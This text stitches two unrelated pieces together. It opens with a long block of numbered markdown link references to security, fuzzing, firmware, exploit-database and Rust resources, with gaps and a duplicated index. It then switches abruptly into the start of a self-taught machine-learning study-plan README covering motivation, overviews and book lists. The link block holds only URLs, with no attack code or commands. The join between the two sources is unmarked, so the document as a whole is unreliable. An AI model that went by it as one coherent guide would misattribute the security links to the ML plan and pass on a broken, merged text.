[137]: https://github.blog/tag/github-security-lab/
[138]: https://github.com/renode/renode
[139]: https://mongoose-os.com/
[140]: https://aws.amazon.com/freertos/
[148]: https://this-week-in-rust.org/
[149]: https://doc.rust-lang.org/cargo/
[150]: https://doc.rust-lang.org/nomicon/
[151]: https://doc.rust-lang.org/stable/reference/
[152]: https://rustup.rs/
[153]: https://docs.rust-embedded.org/book/
[155]: https://github.com/gchq/CyberChef
[156]: https://github.com/BR903/ELFkickers
[157]: https://www.malware-traffic-analysis.net/
[158]: https://github.com/lief-project/LIEF
[159]: https://github.com/JonathanSalwan/ROPgadget
[160]: https://github.com/sashs/Ropper
[162]: https://github.com/alphaSeclab/awesome-rat/blob/master/Readme_en.md
[171]: https://github.com/cilium/tetragon
[172]: https://github.com/cilium/ebpf
[173]: https://bumblebee.io/EN
[174]: https://github.com/google/gvisor
[175]: https://github.com/firecracker-microvm/firecracker
[176]: https://github.com/nanovms/nanos
[177]: https://github.com/google/sandboxed-api
[178]: https://github.com/nanovms/ops
[181]: https://github.com/anderspitman/awesome-tunneling.git
[185]: https://www.cvedetails.com/
[186]: https://github.com/rust-embedded/rust-raspberrypi-OS-tutorials
[187]: https://github.com/unicorn-engine/unicorn
[188]: https://www.trustedfirmware.org/
[189]: https://github.com/hermitcore/rusty-hermit
[190]: https://github.com/SunHao-0/healer
[191]: https://github.com/seemoo-lab/polypyus
[192]: https://github.com/seemoo-lab/frankenstein
[193]: https://github.com/seemoo-lab/internalblue
[194]: https://www.exploitalert.com/browse-exploit.html
[195]: https://0day.today/
[196]: https://connormcgarr.github.io/
[197]: https://a13xp0p0v.github.io/
[198]: https://googleprojectzero.blogspot.com/
[199]: https://github.com/SecWiki/linux-kernel-exploits
[201]: https://github.com/scriptingxss/owasp-fstm
[202]: https://github.com/gurugio/lowlevelprogramming-university
[203]: https://github.com/chyyuu/os_kernel_lab
[204]: https://www.zynamics.com/bindiff.html
[205]: https://github.com/google/binexport
[206]: https://github.com/NationalSecurityAgency/ghidra
[207]: https://github.com/craigz28/firmwalker
[208]: https://github.com/ReFirmLabs/binwalk
[209]: https://github.com/fkie-cad/awesome-embedded-and-iot-security
[210]: https://github.com/tock/tock
[211]: https://github.com/rust-embedded/awesome-embedded-rust
[212]: https://sourceforge.net/p/openocd/code/ci/master/tree/
[213]: https://buildroot.org/
[214]: https://github.com/uutils/coreutils
[215]: https://www.linuxfromscratch.org/
[216]: https://wiki.gentoo.org/wiki/Main_Page
[217]: https://wiki.archlinux.org/
[218]: https://github.com/rust-lang/rust-clippy
[220]: https://www.zerodayinitiative.com/blog
[222]: https://github.com/aya-rs/aya
[223]: https://github.com/capstone-engine/capstone
[224]: https://github.com/e-m-b-a/emba
[225]: https://github.com/rampageX/firmware-mod-kit
[226]: https://github.com/mandiant/flare-emu
[227]: https://github.com/wader/fq
[229]: https://github.com/cyrus-and/gdb-dashboard
[230]: https://github.com/cs01/gdbgui
[231]: https://github.com/kaitai-io/kaitai_struct
[232]: https://github.com/keystone-engine/keystone
[233]: https://gitlab.com/cespedes/ltrace
[235]: https://0x434b.dev/
[236]: https://0x00sec.org/
[237]: https://github.com/jopohl/urh
[239]: https://openwrt.org/start
[241]: https://github.com/libp2p/rust-libp2p
[242]: https://pastebin.com/
[243]: https://transfer.sh/
[244]: https://zerobin.net/
[245]: https://www.klgrth.io/
[246]: https://temp.sh/
[247]: https://github.com/Ben-Lichtman/ropr
[248]: https://github.com/MarginResearch/cannoli
[249]: https://github.com/lifting-bits/mcsema
[250]: https://github.com/jjyg/metasm
[251]: https://github.com/cea-sec/miasm
[252]: https://github.com/avast/retdec
[253]: https://github.com/rr-debugger/rr
[254]: https://github.com/strace/strace
[255]: https://github.com/WebAssembly/wabt
[257]: https://remnux.org/
[264]: https://github.com/DominicBreuker/pspy
[266]: https://github.com/zmap/zgrab2
[268]: https://github.com/unikraft/unikraft
[269]: https://github.com/sustrik/libdill
[270]: https://github.com/googleprojectzero/weggli
[271]: https://github.com/tezc/sc
[272]: https://github.com/stong/how-to-exploit-a-double-free
[273]: https://github.com/V33RU/IoTSecurity101
[281]: https://github.com/alphaSeclab/awesome-network-stuff/blob/master/Readme_en.md
[282]: https://github.com/BinaryAnalysisPlatform/bap
[284]: https://github.com/dhondta/awesome-executable-packing
[285]: https://github.com/jameslzhu/riscv-card
[286]: https://github.com/rust-lang/rust
[287]: https://github.com/firmadyne/scraper
[288]: https://alexplaskett.github.io/
[290]: https://www.willsroot.io/
[291]: https://security.googleblog.com/
[292]: https://github.com/nccgroup/exploit_mitigations
[293]: https://codeql.github.com/
[294]: https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/
[295]: https://github.com/google/security-research
[296]: https://grsecurity.net/blog
[297]: https://xairy.io/
[298]: https://sam4k.com/
[299]: https://github.com/zhaojh329/rtty
[300]: https://github.com/S2E/s2e
[301]: https://github.com/airbus-seclab/cpu_rec
[302]: https://github.com/azure-rtos/threadx/
[303]: https://github.com/bytecodealliance/rustix
[304]: https://github.com/nix-rust/nix
[306]: https://github.com/kata-containers/kata-containers
[307]: https://github.com/sidkshatriya/rd
[308]: https://veykril.github.io/tlborm/
[309]: https://doc.rust-lang.org/stable/edition-guide/
[310]: https://github.com/tmpout/awesome-elf
[311]: https://github.com/Dhghomon/easy_rust
[312]: https://riscv-programming.org/book/riscv-book.html
[317]: https://github.com/0xInfection/Awesome-WAF
[318]: https://gitlab.redox-os.org/redox-os
[319]: https://rust-lang.github.io/api-guidelines/about.html
[320]: https://github.com/rust-lang/rfcs
[321]: https://github.com/rust-unofficial/patterns
[322]: https://github.com/nnethercote/perf-book
[323]: https://github.com/tokio-rs/tokio
[324]: https://tokio.rs/tokio/tutorial
[325]: https://github.com/async-rs/async-std
[326]: https://github.com/smol-rs/smol
[327]: https://github.com/ps1337/pwntools-r2
[331]: https://github.com/netbirdio/netbird
[333]: https://developers.google.com/code-sandboxing
[338]: https://github.com/SecureAuthCorp/impacket
[339]: https://github.com/edoardottt/awesome-hacker-search-engines
[342]: https://dogbolt.org/
[343]: https://github.com/returntocorp/semgrep
[344]: https://github.com/0xdea/semgrep-rules
[355]: https://outflux.net/blog/
[356]: https://www.zerotier.com/
[357]: https://tailscale.com/
[358]: https://github.com/zerotier/ZeroTierOne
[359]: https://github.com/tailscale/tailscale
[360]: https://github.com/Exein-io/pulsar
[361]: https://github.com/Hack-with-Github/Awesome-Hacking
[362]: https://github.com/trimstray/the-book-of-secret-knowledge
[363]: https://github.com/caddyserver/caddy
[364]: https://cheatsheetseries.owasp.org/
[365]: https://github.com/imthenachoman/How-To-Secure-A-Linux-Server
[366]: https://linkedin.github.io/school-of-sre/
[367]: https://github.com/falcosecurity/falco
[368]: https://github.com/zeek/zeek
[369]: https://github.com/gravitl/netmaker
[371]: https://github.com/analysis-tools-dev/static-analysis
[372]: https://github.com/analysis-tools-dev/dynamic-analysis
[373]: https://github.com/johnthagen/min-sized-rust
[374]: https://github.com/ITI/ICS-Security-Tools
[375]: https://practice.rs/why-exercise.html
[376]: https://github.com/ex0dus-0x/awesome-rust-security
[379]: https://github.com/trickster0/OffensiveRust
[380]: https://github.com/skerkour/black-hat-rust
[381]: https://github.com/microsoft/lain
[382]: https://github.com/microsoft/onefuzz
[383]: https://github.com/microsoft/windows-rs
[384]: https://github.com/microsoft/avml
[385]: https://unblob.org/
[386]: https://gitlab.com/akihe/radamsa
[387]: https://github.com/facebookincubator/propfuzz
[388]: https://github.com/secfigo/Awesome-Fuzzing
[390]: https://github.com/uds-se/fuzzingbook
[391]: https://github.com/netzob/netzob
[393]: https://github.com/redballoonsecurity/ofrak
[394]: https://github.com/fuzzware-fuzzer/fuzzware
[395]: https://pawnyable.cafe/
[397]: https://github.com/0xricksanchez/paper_collection
[398]: https://cheats.rs/
[399]: https://embassy.dev/
[400]: https://github.com/karanpratapsingh/system-design
[401]: https://github.com/yangshun/tech-interview-handbook
[402]: https://github.com/flipperdevices/flipperzero-firmware
[403]: https://github.com/curl/curl
[404]: https://github.com/thezdi/PoC
[413]: https://github.com/plummm/SyzScope
[414]: https://github.com/NixOS/patchelf
[415]: https://github.com/zcutlip/nvram-faker
[416]: https://www.tcpdump.org/
[417]: https://www.wireshark.org/
[418]: https://www.wireshark.org/docs/man-pages/tshark.html
[419]: https://tshark.dev/
[420]: https://github.com/GaloisInc/MATE
[421]: https://github.com/tonarino/innernet
[422]: https://github.com/google/silifuzz
[423]: https://thephd.dev/
[424]: https://github.com/epi052/feroxfuzz
[426]: https://blog.xilokar.info/
[427]: https://gitlab.torproject.org/tpo/core/arti
[428]: https://cve-north-stars.github.io/
[431]: https://chromium.googlesource.com/linux-syscall-support/
[433]: https://fccid.io/
[434]: https://patents.google.com/
[434]: https://jless.io/
[435]: https://www.apps3c.info/
[436]: https://swisskyrepo.github.io/HardwareAllTheThings/
[437]: https://github.com/PreOS-Security/awesome-firmware-security
[438]: https://github.com/djsime1/awesome-flipperzero
[439]: https://epi052.gitlab.io/notes-to-self/
[440]: https://github.com/AmbiML/sparrow-kata-full
[441]: https://github.com/Wilfred/difftastic
[442]: https://github.com/mahaloz/decomp2dbg
[444]: https://github.com/nccgroup/Sniffle
[446]: http://dmitry.gr/
[447]: https://github.com/enovella/TEE-reversing
[448]: https://github.com/andreia-oca/awesome-embedded-fuzzing
[449]: https://esphome.io/
[450]: https://f4pga.org/
[451]: https://class.malware.re/
[452]: https://developers.home.google.com/
[453]: https://github.com/facebookexperimental/reverie
[454]: https://github.com/esp-rs
[455]: https://github.com/kpcyrd/sniffglue
[456]: https://n1ght-w0lf.github.io
[457]: https://github.com/io12/pwninit
[458]: https://github.com/skysider/pwndocker
[459]: https://github.com/bsauce/kernel-exploit-factory
[462]: https://syscalls.mebeim.net/?table=arm/32/eabi/v6.2
[464]: https://cryptography.rs/
[465]: https://github.com/UgurcanAkkok/AreWeRustYet
[466]: https://github.com/cognitive-engineering-lab/aquascope
[479]: https://github.com/redcode-labs/neurax
[480]: https://github.com/f/awesome-chatgpt-prompts
[481]: https://github.com/promptslab/Awesome-Prompt-Engineering
[482]: https://github.com/dair-ai/Prompt-Engineering-Guide
[483]: https://quic.xargs.org
[484]: https://dtls.xargs.org
[485]: https://tls13.xargs.org
[486]: https://tls12.xargs.org
[487]: https://makefiletutorial.com
[488]: https://github.com/e-m-b-a/embark
[489]: https://github.com/fdehau/tui-rs
[490]: https://github.com/teloxide/teloxide
[491]: https://github.com/awesome-lists/awesome-bash
[492]: https://github.com/dylanaraps/pure-bash-bible
[493]: https://github.com/ibraheemdev/modern-unix
[494]: https://github.com/onceupon/Bash-Oneliner
[495]: https://github.com/denysdovhan/bash-handbook
[496]: https://github.com/jlevy/the-art-of-command-line
[497]: https://github.com/rockerBOO/awesome-neovim
[498]: https://github.com/joaocarvalhoopen/How_to_learn_modern_Rust
[499]: https://github.com/mozilla/cbindgen
[500]: https://github.com/rust-lang/rust-bindgen
[501]: https://eventhelix.com/rust/
[502]: https://github.com/google/fuzztest
[503]: https://doc.rust-lang.org/stable/rust-by-example/index.html
[504]: https://github.com/microsoft/rusty-radamsa
[505]: https://rust-book.cs.brown.edu/
[506]: https://github.com/wcventure/FuzzingPaper
[507]: https://github.com/rust-fuzz/cargo-fuzz
[508]: https://github.com/mykter/afl-training
[509]: https://github.com/0xricksanchez/paper_collection
[510]: https://github.com/antonio-morales/Fuzzing101
[511]: https://llvm.org/docs/LibFuzzer.html
[512]: https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md
[513]: https://github.com/google/fuzzing
[514]: https://github.com/rust-fuzz/libfuzzer
[515]: https://github.com/icicle-emu/icicle
[516]: https://github.com/pr0me/SAFIREFUZZ
[517]: https://github.com/20urc3/Sekiryu
[518]: https://github.com/ex0dus-0x/fuzzable
[519]: https://github.com/AFLplusplus/Grammar-Mutator
[520]: https://github.com/nautilus-fuzz/nautilus
[521]: https://github.com/google/oss-fuzz
[522]: https://google.github.io/oss-fuzz/
[523]: https://github.com/ossf/fuzz-introspector
[524]: https://github.com/rust-fuzz/arbitrary/
|
# Top-down learning path: Machine Learning for Software Engineers
<p align="center">
<a href="https://github.com/ZuzooVn/machine-learning-for-software-engineers">
<img alt="Top-down learning path: Machine Learning for Software Engineers" src="https://img.shields.io/badge/Machine%20Learning-Software%20Engineers-blue.svg">
</a>
<a href="https://github.com/ZuzooVn/machine-learning-for-software-engineers/stargazers">
<img alt="GitHub stars" src="https://img.shields.io/github/stars/ZuzooVn/machine-learning-for-software-engineers.svg">
</a>
<a href="https://github.com/ZuzooVn/machine-learning-for-software-engineers/network">
<img alt="GitHub forks" src="https://img.shields.io/github/forks/ZuzooVn/machine-learning-for-software-engineers.svg">
</a>
</p>
Inspired by [Coding Interview University](https://github.com/jwasham/coding-interview-university).
Translations: [Brazilian Portuguese](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-pt-BR.md) | [中文版本](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-zh-CN.md) | [Français](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-fr-FR.md) | [臺灣華語版本](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-zh-TW.md)
[How I (Nam Vu) plan to become a machine learning engineer](https://www.codementor.io/zuzoovn/how-i-plan-to-become-a-machine-learning-engineer-a4metbcuk)
## What is it?
This is my multi-month study plan for going from mobile developer (self-taught, no CS degree) to machine learning engineer.
My main goal was to find an approach to studying Machine Learning that is mainly hands-on and abstracts most of the Math for the beginner.
This approach is unconventional because it’s the top-down and results-first approach designed for software engineers.
Please, feel free to make any contributions you feel will make it better.
---
## Table of Contents
- [What is it?](#what-is-it)
- [Why use it?](#why-use-it)
- [How to use it](#how-to-use-it)
- [Follow me](#follow-me)
- [Don't feel you aren't smart enough](#dont-feel-you-arent-smart-enough)
- [About Video Resources](#about-video-resources)
- [Prerequisite Knowledge](#prerequisite-knowledge)
- [The Daily Plan](#the-daily-plan)
- [Motivation](#motivation)
- [Machine learning overview](#machine-learning-overview)
- [Machine learning mastery](#machine-learning-mastery)
- [Machine learning is fun](#machine-learning-is-fun)
- [Inky Machine Learning](#inky-machine-learning)
- [Machine Learning: An In-Depth Guide](#machine-learning-an-in-depth-guide)
- [Stories and experiences](#stories-and-experiences)
- [Machine Learning Algorithms](#machine-learning-algorithms)
- [Beginner Books](#beginner-books)
- [Practical Books](#practical-books)
- [Kaggle knowledge competitions](#kaggle-knowledge-competitions)
- [Video Series](#video-series)
- [MOOC](#mooc)
- [Resources](#resources)
- [Becoming an Open Source Contributor](#becoming-an-open-source-contributor)
- [Games](#games)
- [Podcasts](#podcasts)
- [Communities](#communities)
- [Conferences](#conferences)
- [Interview Questions](#interview-questions)
- [My admired companies](#my-admired-companies)
---
## Why use it?
I'm following this plan to prepare for my near-future job: Machine learning engineer. I've been building native mobile applications (Android/iOS/Blackberry) since 2011. I have a Software Engineering degree, not a Computer Science degree. I have an itty-bitty amount of basic knowledge about: Calculus, Linear Algebra, Discrete Mathematics, Probability & Statistics from university.
Think about my interest in machine learning:
- [Can I learn and get a job in Machine Learning without studying CS Master and PhD?](https://www.quora.com/Can-I-learn-and-get-a-job-in-Machine-Learning-without-studying-CS-Master-and-PhD)
- *"You can, but it is far more difficult than when I got into the field."* [Drac Smith](https://www.quora.com/Can-I-learn-and-get-a-job-in-Machine-Learning-without-studying-CS-Master-and-PhD/answer/Drac-Smith?srid=oT0p)
- [How do I get a job in Machine Learning as a software programmer who self-studies Machine Learning, but never has a chance to use it at work?](https://www.quora.com/How-do-I-get-a-job-in-Machine-Learning-as-a-software-programmer-who-self-studies-Machine-Learning-but-never-has-a-chance-to-use-it-at-work)
- *"I'm hiring machine learning experts for my team and your MOOC will not get you the job (there is better news below). In fact, many people with a master's in machine learning will not get the job because they (and most who have taken MOOCs) do not have a deep understanding that will help me solve my problems."* [Ross C. Taylor](https://www.quora.com/How-do-I-get-a-job-in-Machine-Learning-as-a-software-programmer-who-self-studies-Machine-Learning-but-never-has-a-chance-to-use-it-at-work/answer/Ross-C-Taylor?srid=oT0p)
- [What skills are needed for machine learning jobs?](http://programmers.stackexchange.com/questions/79476/what-skills-are-needed-for-machine-learning-jobs)
- *"First, you need to have a decent CS/Math background. ML is an advanced topic so most textbooks assume that you have that background. Second, machine learning is a very general topic with many sub-specialties requiring unique skills. You may want to browse the curriculum of an MS program in Machine Learning to see the course, curriculum and textbook."* [Uri](http://softwareengineering.stackexchange.com/a/79717)
- *"Probability, distributed computing, and Statistics."* [Hydrangea](http://softwareengineering.stackexchange.com/a/79575)
I find myself in times of trouble.
AFAIK, [There are two sides to machine learning](http://machinelearningmastery.com/programmers-can-get-into-machine-learning/):
- Practical Machine Learning: This is about querying databases, cleaning data, writing scripts to transform data and gluing algorithm and libraries together and writing custom code to squeeze reliable answers from data to satisfy difficult and ill-defined questions. It’s the mess of reality.
- Theoretical Machine Learning: This is about math and abstraction and idealized scenarios and limits and beauty and informing what is possible. It is a whole lot neater and cleaner and removed from the mess of reality.
I think the best way for practice-focused methodology is something like ['practice — learning — practice'](http://machinelearningmastery.com/machine-learning-for-programmers/#comment-358985), that means where students first come with some existing projects with problems and solutions (practice) to get familiar with traditional methods in the area and perhaps also with their methodology. After practicing with some elementary experiences, they can go into the books and study the underlying theory, which serves to guide their future advanced practice and will enhance their toolbox of solving practical problems. Studying theory also further improves their understanding on the elementary experiences, and will help them acquire advanced experiences more quickly.
It's a long plan. It's going to take me years. If you are familiar with a lot of this already it will take you a lot less time.
## How to use it
Everything below is an outline, and you should tackle the items in order from top to bottom.
I'm using Github's special markdown flavor, including tasks lists to check progress.
- [x] Create a new branch so you can check items like this, just put an x in the brackets: [x]
[More about Github-flavored markdown](https://guides.github.com/features/mastering-markdown/#GitHub-flavored-markdown)
## Follow me
I'm a Vietnamese Software Engineer who is really passionate and wants to work in the USA.
How much did I work during this plan? Roughly 4 hours/night after a long, hard day at work.
I'm on the journey.
- Twitter: [@Nam Vu](https://twitter.com/zuzoovn)
| |
|:---:|
| USA as heck |
## Don't feel you aren't smart enough
I get discouraged from books and courses that tell me as soon as I open them that multivariate calculus, inferential statistics and linear algebra are prerequisites. I still don’t know how to get started…
- [What if I’m Not Good at Mathematics](http://machinelearningmastery.com/what-if-im-not-good-at-mathematics/)
- [5 Techniques To Understand Machine Learning Algorithms Without the Background in Mathematics](http://machinelearningmastery.com/techniques-to-understand-machine-learning-algorithms-without-the-background-in-mathematics/)
- [How do I learn machine learning?](https://www.quora.com/Machine-Learning/How-do-I-learn-machine-learning-1)
## About Video Resources
Some videos are available only by enrolling in a Coursera or EdX class. It is free to do so, but sometimes the classes
are no longer in session so you have to wait a couple of months, so you have no access. I'm going to be adding more videos
from public sources and replacing the online course videos over time. I like using university lectures.
## Prerequisite Knowledge
This short section consists of prerequisites/interesting info I wanted to learn before getting started on the daily plan.
- [ ] [What is the difference between Data Analytics, Data Analysis, Data Mining, Data Science, Machine Learning, and Big Data?](https://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1)
- [ ] [Learning How to Learn](https://www.coursera.org/learn/learning-how-to-learn)
- [ ] [Don’t Break The Chain](http://lifehacker.com/281626/jerry-seinfelds-productivity-secret)
- [ ] [How to learn on your own](https://metacademy.org/roadmaps/rgrosse/learn_on_your_own)
## The Daily Plan
Each subject does not require a whole day to be able to understand it fully, and you can do multiple of these in a day.
Each day I take one subject from the list below, read it cover to cover, take notes, do the exercises and write an implementation in Python or R.
# Motivation
- [ ] [Dream](https://www.youtube.com/watch?v=g-jwWYX7Jlo)
## Machine learning overview
- [ ] [A Visual Introduction to Machine Learning](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/)
- [ ] [Gentle Guide to Machine Learning](https://blog.monkeylearn.com/gentle-guide-to-machine-learning/)
- [ ] [Introduction to Machine Learning for Developers](http://blog.algorithmia.com/introduction-machine-learning-developers/)
- [ ] [Machine Learning basics for a newbie](https://www.analyticsvidhya.com/blog/2015/06/machine-learning-basics/)
- [ ] [How do you explain Machine Learning and Data Mining to non Computer Science people?](https://www.quora.com/How-do-you-explain-Machine-Learning-and-Data-Mining-to-non-Computer-Science-people)
- [ ] [Machine Learning: Under the hood. Blog post explains the principles of machine learning in layman terms. Simple and clear](https://georgemdallas.wordpress.com/2013/06/11/big-data-data-mining-and-machine-learning-under-the-hood/)
- [ ] [What is machine learning, and how does it work?](https://www.youtube.com/watch?v=elojMnjn4kk&list=PL5-da3qGB5ICeMbQuqbbCOQWcS6OYBr5A&index=1)
- ~~[] [Deep Learning - A Non-Technical Introduction](http://www.slideshare.net/AlfredPong1/deep-learning-a-nontechnical-introduction-69385936)~~[removed]
## Machine learning mastery
- [ ] [The Machine Learning Mastery Method](http://machinelearningmastery.com/machine-learning-mastery-method/)
- [ ] [Machine Learning for Programmers](http://machinelearningmastery.com/machine-learning-for-programmers/)
- [ ] [Applied Machine Learning with Machine Learning Mastery](http://machinelearningmastery.com/start-here/)
- [ ] [Python Machine Learning Mini-Course](http://machinelearningmastery.com/python-machine-learning-mini-course/)
- [ ] [Machine Learning Algorithms Mini-Course](http://machinelearningmastery.com/machine-learning-algorithms-mini-course/)
## Machine learning is fun
- [ ] [Machine Learning is Fun!](https://medium.com/@ageitgey/machine-learning-is-fun-80ea3ec3c471#.37ue6caww)
- [ ] [Part 2: Using Machine Learning to generate Super Mario Maker levels](https://medium.com/@ageitgey/machine-learning-is-fun-part-2-a26a10b68df3#.kh7qgvp1b)
- [ ] [Part 3: Deep Learning and Convolutional Neural Networks](https://medium.com/@ageitgey/machine-learning-is-fun-part-3-deep-learning-and-convolutional-neural-networks-f40359318721#.44rhxy637)
- [ ] [Part 4: Modern Face Recognition with Deep Learning](https://medium.com/@ageitgey/machine-learning-is-fun-part-4-modern-face-recognition-with-deep-learning-c3cffc121d78#.3rwmq0ddc)
- [ ] [Part 5: Language Translation with Deep Learning and the Magic of Sequences](https://medium.com/@ageitgey/machine-learning-is-fun-part-5-language-translation-with-deep-learning-and-the-magic-of-sequences-2ace0acca0aa#.wyfthap4c)
- [ ] [Part 6: How to do Speech Recognition with Deep Learning](https://medium.com/@ageitgey/machine-learning-is-fun-part-6-how-to-do-speech-recognition-with-deep-learning-28293c162f7a#.lhr1nnpcy)
- [ ] [Part 7: Abusing Generative Adversarial Networks to Make 8-bit Pixel Art](https://medium.com/@ageitgey/abusing-generative-adversarial-networks-to-make-8-bit-pixel-art-e45d9b96cee7)
- [ ] [Part 8: How to Intentionally Trick Neural Networks](https://medium.com/@ageitgey/machine-learning-is-fun-part-8-how-to-intentionally-trick-neural-networks-b55da32b7196)
## [Inky Machine Learning](https://triskell.github.io/2016/11/15/Inky-Machine-Learning.html)
- [ ] [Part 1: What is Machine Learning ?](https://triskell.github.io/2016/10/23/What-is-Machine-Learning.html)
- [ ] [Part 2: Supervised Learning and Unsupervised Learning](https://triskell.github.io/2016/11/13/Supervised-Learning-and-Unsupervised-Learning.html)
## Machine Learning: An In-Depth Guide
- [ ] [Overview, goals, learning types, and algorithms](http://www.innoarchitech.com/machine-learning-an-in-depth-non-technical-guide/)
- [ ] [Data selection, preparation, and modeling](http://www.innoarchitech.com/machine-learning-an-in-depth-non-technical-guide-part-2/)
- [ ] [Model evaluation, validation, complexity, and improvement](http://www.innoarchitech.com/machine-learning-an-in-depth-non-technical-guide-part-3/)
- [ ] [Model performance and error analysis](http://www.innoarchitech.com/machine-learning-an-in-depth-non-technical-guide-part-4/)
- [ ] [Unsupervised learning, related fields, and machine learning in practice](http://www.innoarchitech.com/machine-learning-an-in-depth-non-technical-guide-part-5/)
## Stories and experiences
- [ ] [Machine Learning in a Week](https://medium.com/learning-new-stuff/machine-learning-in-a-week-a0da25d59850#.tk6ft2kcg)
- [ ] [Machine Learning in a Year](https://medium.com/learning-new-stuff/machine-learning-in-a-year-cdb0b0ebd29c#.hhcb9fxk1)
- [ ] [How I wrote my first Machine Learning program in 3 days](http://blog.adnansiddiqi.me/how-i-wrote-my-first-machine-learning-program-in-3-days/)
- [ ] [Learning Path : Your mentor to become a machine learning expert](https://www.analyticsvidhya.com/learning-path-learn-machine-learning/)
- [ ] [You Too Can Become a Machine Learning Rock Star! No PhD](https://backchannel.com/you-too-can-become-a-machine-learning-rock-star-no-phd-necessary-107a1624d96b#.g9p16ldp7)
- [ ] How to become a Data Scientist in 6 months: A hacker’s approach to career planning
- [Video](https://www.youtube.com/watch?v=rIofV14c0tc)
- [Slide](http://www.slideshare.net/TetianaIvanova2/how-to-become-a-data-scientist-in-6-months)
- [ ] [5 Skills You Need to Become a Machine Learning Engineer](http://blog.udacity.com/2016/04/5-skills-you-need-to-become-a-machine-learning-engineer.html)
- [ ] [Are you a self-taught machine learning engineer? If yes, how did you do it & how long did it take you?](https://www.quora.com/Are-you-a-self-taught-machine-learning-engineer-If-yes-how-did-you-do-it-how-long-did-it-take-you)
- [ ] [How can one become a good machine learning engineer?](https://www.quora.com/How-can-one-become-a-good-machine-learning-engineer)
- [ ] [A Learning Sabbatical focused on Machine Learning](http://karlrosaen.com/ml/)
## Machine Learning Algorithms
- [ ] [10 Machine Learning Algorithms Explained to an ‘Army Soldier’](https://www.analyticsvidhya.com/blog/2015/12/10-machine-learning-algorithms-explained-army-soldier/)
- [ ] [Top 10 data mining algorithms in plain English](https://rayli.net/blog/data/top-10-data-mining-algorithms-in-plain-english/)
- [ ] [10 Machine Learning Terms Explained in Simple English](http://blog.aylien.com/10-machine-learning-terms-explained-in-simple/)
- [ ] [A Tour of Machine Learning Algorithms](http://machinelearningmastery.com/a-tour-of-machine-learning-algorithms/)
- [ ] [The 10 Algorithms Machine Learning Engineers Need to Know](https://gab41.lab41.org/the-10-algorithms-machine-learning-engineers-need-to-know-f4bb63f5b2fa#.ofc7t2965)
- [ ] [Comparing supervised learning algorithms](http://www.dataschool.io/comparing-supervised-learning-algorithms/)
- [ ] [Machine Learning Algorithms: A collection of minimal and clean implementations of machine learning algorithms](https://github.com/rushter/MLAlgorithms)
- [ ] [KNN Algorithm in Machine Learning](https://www.scaler.com/topics/what-is-knn-algorithm-in-machine-learning/)
## Beginner Books
- [ ] [Data Smart: Using Data Science to Transform Information into Insight 1st Edition](https://www.amazon.com/Data-Smart-Science-Transform-Information/dp/111866146X)
- [ ] [Data Science for Business: What you need to know about data mining and data analytic-thinking](https://www.amazon.com/Data-Science-Business-Data-Analytic-Thinking/dp/1449361323/)
- [ ] [Predictive Analytics: The Power to Predict Who Will Click, Buy, Lie, or Die](https://www.amazon.com/Predictive-Analytics-Power-Predict-Click/dp/1118356853)
## Practical Books
- [ ] [Machine Learning for Hackers](https://www.amazon.com/Machine-Learning-Hackers-Drew-Conway/dp/1449303714)
- [GitHub repository(R)](https://github.com/johnmyleswhite/ML_for_Hackers)
- [GitHub repository(Python)](https://github.com/carljv/Will_it_Python)
- [ ] [Python Machine Learning](https://www.amazon.com/Python-Machine-Learning-Sebastian-Raschka-ebook/dp/B00YSILNL0)
- [GitHub repository](https://github.com/rasbt/python-machine-learning-book)
- [ ] [Programming Collective Intelligence: Building Smart Web 2.0 Applications](https://www.amazon.com/Programming-Collective-Intelligence-Building-Applications-ebook/dp/B00F8QDZWG)
- [ ] [Machine Learning: An Algorithmic Perspective, Second Edition](https://www.amazon.com/Machine-Learning-Algorithmic-Perspective-Recognition/dp/1466583282)
- [GitHub repository](https://github.com/alexsosn/MarslandMLAlgo)
- [Resource repository](http://seat.massey.ac.nz/personal/s.r.marsland/MLbook.html)
- [ ] [Introduction to Machine Learning with Python: A Guide for Data Scientists](http://shop.oreilly.com/product/0636920030515.do)
- [GitHub repository](https://github.com/amueller/introduction_to_ml_with_python)
- [ ] [Data Mining: Practical Machine Learning Tools and Techniques, Third Edition](https://www.amazon.com/Data-Mining-Practical-Techniques-Management/dp/0123748569)
- Teaching material
- [Slides for Chapters 1-5 (zip)](http://www.cs.waikato.ac.nz/ml/weka/Slides3rdEd_Ch1-5.zip)
- [Slides for Chapters 6-8 (zip)](http://www.cs.waikato.ac.nz/ml/weka/Slides3rdEd_Ch6-8.zip)
- [ ] [Machine Learning in Action](https://www.amazon.com/Machine-Learning-Action-Peter-Harrington/dp/1617290181/)
- [GitHub repository](https://github.com/pbharrin/machinelearninginaction)
- [ ] [Reactive Machine Learning Systems(MEAP)](https://www.manning.com/books/reactive-machine-learning-systems)
- [GitHub repository](https://github.com/jeffreyksmithjr/reactive-machine-learning-systems)
- [ ] [An Introduction to Statistical Learning](http://www-bcf.usc.edu/~gareth/ISL/)
- [GitHub repository(R)](http://www-bcf.usc.edu/~gareth/ISL/code.html)
- [GitHub repository(Python)](https://github.com/JWarmenhoven/ISLR-python)
- [Videos](http://www.dataschool.io/15-hours-of-expert-machine-learning-videos/)
- [ ] [Building Machine Learning Systems with Python](https://www.packtpub.com/big-data-and-business-intelligence/building-machine-learning-systems-python)
- [GitHub repository](https://github.com/luispedro/BuildingMachineLearningSystemsWithPython)
- [ ] [Learning scikit-learn: Machine Learning in Python](https://www.packtpub.com/big-data-and-business-intelligence/learning-scikit-learn-machine-learning-python)
- [GitHub repository](https://github.com/gmonce/scikit-learn-book)
- [ ] [Probabilistic Programming & Bayesian Methods for Hackers](https://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/)
- [ ] [Probabilistic Graphical Models: Principles and Techniques](https://www.amazon.com/Probabilistic-Graphical-Models-Principles-Computation/dp/0262013193)
- [ ] [Machine Learning: Hands-On for Developers and Technical Professionals](https://www.amazon.com/Machine-Learning-Hands-Developers-Professionals/dp/1118889061)
